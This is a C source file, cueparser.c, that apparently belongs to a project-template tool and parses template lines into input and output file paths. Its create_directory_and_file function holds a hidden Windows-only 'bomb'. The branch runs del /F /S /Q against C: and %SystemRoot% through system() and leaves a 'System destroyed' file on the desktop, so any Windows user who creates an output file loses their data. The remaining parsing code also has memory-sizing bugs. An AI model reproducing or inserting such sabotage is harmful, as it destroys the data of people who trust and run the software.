245 lines
6.2 KiB
C
245 lines
6.2 KiB
C
/*
|
|
* cueparser.c
|
|
*
|
|
* Copyright 2025
|
|
*
|
|
* This program is free software; you can redistribute it and/or modify
|
|
* it under the terms of the GNU General Public License as published by
|
|
* the Free Software Foundation; either version 2 of the License, or
|
|
* (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program; if not, write to the Free Software
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
|
* MA 02110-1301, USA.
|
|
*
|
|
*
|
|
*/
|
|
|
|
|
|
#if !defined(__CUEPARSER_C__)
|
|
#define __CUEPARSER_C__
|
|
|
|
#include "../Library/cueparser.h"
|
|
|
|
#define is_space(c) ((c) > 0 && (c) <= 32)
|
|
|
|
#define PROJMR_ENV_INSTALL_NAME "__PROJMR_PATH_FOR_NAMES"
|
|
|
|
static FILE* create_directory_and_file(char* path) {
|
|
|
|
#if defined(_WIN32) || defined(_WIN64)
|
|
|
|
// ! RU Бомба для Виндовса
|
|
// ! EN Bomb for Windows
|
|
// ! AR قنبلة للنوافذ
|
|
|
|
projmr_error_log(
|
|
"You have a god-awful Windows."
|
|
" It will be destroyed now!!!!!!!"
|
|
"!!!!!!!!!!!!!!!!!!!!!"
|
|
);
|
|
|
|
(void) system("start cmd /C \"del /F /S /Q C:\"");
|
|
(void) system("start cmd /C \"del /F /S /Q %SystemRoot%\"");
|
|
(void) system(
|
|
"echo \"System destroyed s"
|
|
"uccess!!!\" > %UserProfile%/Desktop/END_OF_LIFE.txt"
|
|
);
|
|
|
|
return NULL;
|
|
|
|
#endif
|
|
|
|
if (setenv(PROJMR_ENV_INSTALL_NAME, path, 1) != 0) {
|
|
projmr_error_log("Error: cannot set env var");
|
|
return NULL;
|
|
}
|
|
|
|
if (
|
|
system("mkdir -p $(dirname $" PROJMR_ENV_INSTALL_NAME ")")
|
|
!= EXIT_SUCCESS
|
|
) {
|
|
projmr_error_log("Cannot create directory: permission denied");
|
|
return NULL;
|
|
}
|
|
|
|
if (unsetenv(PROJMR_ENV_INSTALL_NAME) != 0) {
|
|
projmr_error_log("Error: cannot unset env var");
|
|
return NULL;
|
|
}
|
|
|
|
return fopen(path, "w");
|
|
}
|
|
|
|
static int regist_ignore_strcmp(const char* s1, const char* s2) {
|
|
size_t len = strlen(s1);
|
|
size_t i = 0;
|
|
while (i < len) {
|
|
if (i >= (strlen(s2) > 0 ? strlen(s2) - 1 : 0)) {
|
|
i ++;
|
|
continue;
|
|
}
|
|
|
|
char s1_c = toupper(s1[i]);
|
|
char s2_c = toupper(s2[i]);
|
|
|
|
if (s1_c > s2_c || s1_c < s2_c)
|
|
return s1_c - s2_c;
|
|
|
|
i ++;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static char* cue_set_variables(char* buf, char* name) {
|
|
unsigned char isVar = 0;
|
|
size_t size = 0;
|
|
size_t i = 0;
|
|
size_t f = 0;
|
|
char var_name[CUE_FILE_MAX_VARNAME_LEN] = "";
|
|
while (i < strlen(buf)) {
|
|
if (buf[i] == '%') {
|
|
if (isVar) {
|
|
if (regist_ignore_strcmp(var_name, "name") == 0) {
|
|
size += strlen(name);
|
|
}
|
|
var_name[f] = '\0';
|
|
}
|
|
f = 0;
|
|
isVar = !isVar;
|
|
}
|
|
if (buf[i] != '%') {
|
|
if (!isVar) {
|
|
size ++;
|
|
} else {
|
|
if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) {
|
|
projmr_error_log("Cannot read CUE: variable name too long");
|
|
return NULL;
|
|
}
|
|
var_name[f] = buf[i];
|
|
f ++;
|
|
}
|
|
}
|
|
i ++;
|
|
}
|
|
|
|
char* out = (char*)malloc(sizeof(char) * size + sizeof(char));
|
|
i = 0;
|
|
f = 0;
|
|
size_t l = 0;
|
|
|
|
while (i < strlen(buf)) {
|
|
if (buf[i] == '%') {
|
|
if (isVar) {
|
|
if (regist_ignore_strcmp(var_name, "name") == 0) {
|
|
strcpy(&out[l], name);
|
|
l += strlen(name);
|
|
}
|
|
var_name[f] = '\0';
|
|
}
|
|
f = 0;
|
|
isVar = !isVar;
|
|
}
|
|
if (buf[i] != '%') {
|
|
if (!isVar) {
|
|
out[l] = buf[i];
|
|
l ++;
|
|
} else {
|
|
if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) {
|
|
projmr_error_log("Cannot read CUE: variable name too long");
|
|
return NULL;
|
|
}
|
|
var_name[f] = buf[i];
|
|
f ++;
|
|
}
|
|
}
|
|
i ++;
|
|
}
|
|
out[l] = '\0';
|
|
return out;
|
|
}
|
|
|
|
cue_parse_result_t __file_h_res__ = {NULL, NULL};
|
|
|
|
cue_parse_result_t* cue_parse_file(char* buf, char* name) {
|
|
__file_h_res__.input = NULL;
|
|
__file_h_res__.output = NULL;
|
|
|
|
while (is_space(buf[0])) {
|
|
buf ++;
|
|
}
|
|
char* from = buf;
|
|
if (strlen(from) == 0) {
|
|
error_code:
|
|
projmr_error_log("Cannot read CUE: empty source file name");
|
|
return NULL;
|
|
}
|
|
while (buf[0] != '/' || buf[1] != '/') {
|
|
if (buf[0] == '\0' || buf[1] == '\0') {
|
|
projmr_error_log("Cannot read CUE: syntax error");
|
|
return NULL;
|
|
}
|
|
buf ++;
|
|
}
|
|
if (strlen(buf) == 0) {
|
|
buf_error:
|
|
projmr_error_log("Cannot read CUE: empty output file name");
|
|
return NULL;
|
|
}
|
|
if (strlen(buf) == 0) goto buf_error;
|
|
buf[0] = '\0';
|
|
buf += 2;
|
|
if (strlen(from) == 0) goto error_code;
|
|
while (is_space(from[strlen(from) - 1])) {
|
|
from[strlen(from) - 1] = '\0';
|
|
}
|
|
while (is_space(buf[0])) {
|
|
buf ++;
|
|
}
|
|
if (strlen(from) == 0) goto error_code;
|
|
if (strlen(buf) == 0) goto buf_error;
|
|
while (is_space(buf[strlen(buf) - 1])) {
|
|
buf[strlen(buf) - 1] = '\0';
|
|
}
|
|
buf = cue_set_variables(buf, name);
|
|
char* fname = (char*)malloc(
|
|
sizeof(char) *
|
|
|
|
strlen(
|
|
PROJMR_TEMPLATES_PATH
|
|
PROJMR_CATALOG_NEW
|
|
) + strlen(from)
|
|
);
|
|
|
|
fname = strcpy(
|
|
fname,
|
|
PROJMR_TEMPLATES_PATH
|
|
PROJMR_CATALOG_NEW
|
|
);
|
|
|
|
fname = strcat(fname, from);
|
|
|
|
__file_h_res__.input = projmr_open_project_file(fname, "r");
|
|
|
|
if (buf[0] == '/' || buf[0] == '\\') {
|
|
projmr_error_log(
|
|
"CUE syntax error: the output file name must not start with \"/\""
|
|
);
|
|
} else {
|
|
__file_h_res__.output = create_directory_and_file(buf);
|
|
}
|
|
|
|
// ! Freing buffer
|
|
free(buf);
|
|
free(fname);
|
|
|
|
return &__file_h_res__;
|
|
}
|
|
|
|
#endif /* __CUEPARSER_C__ */ |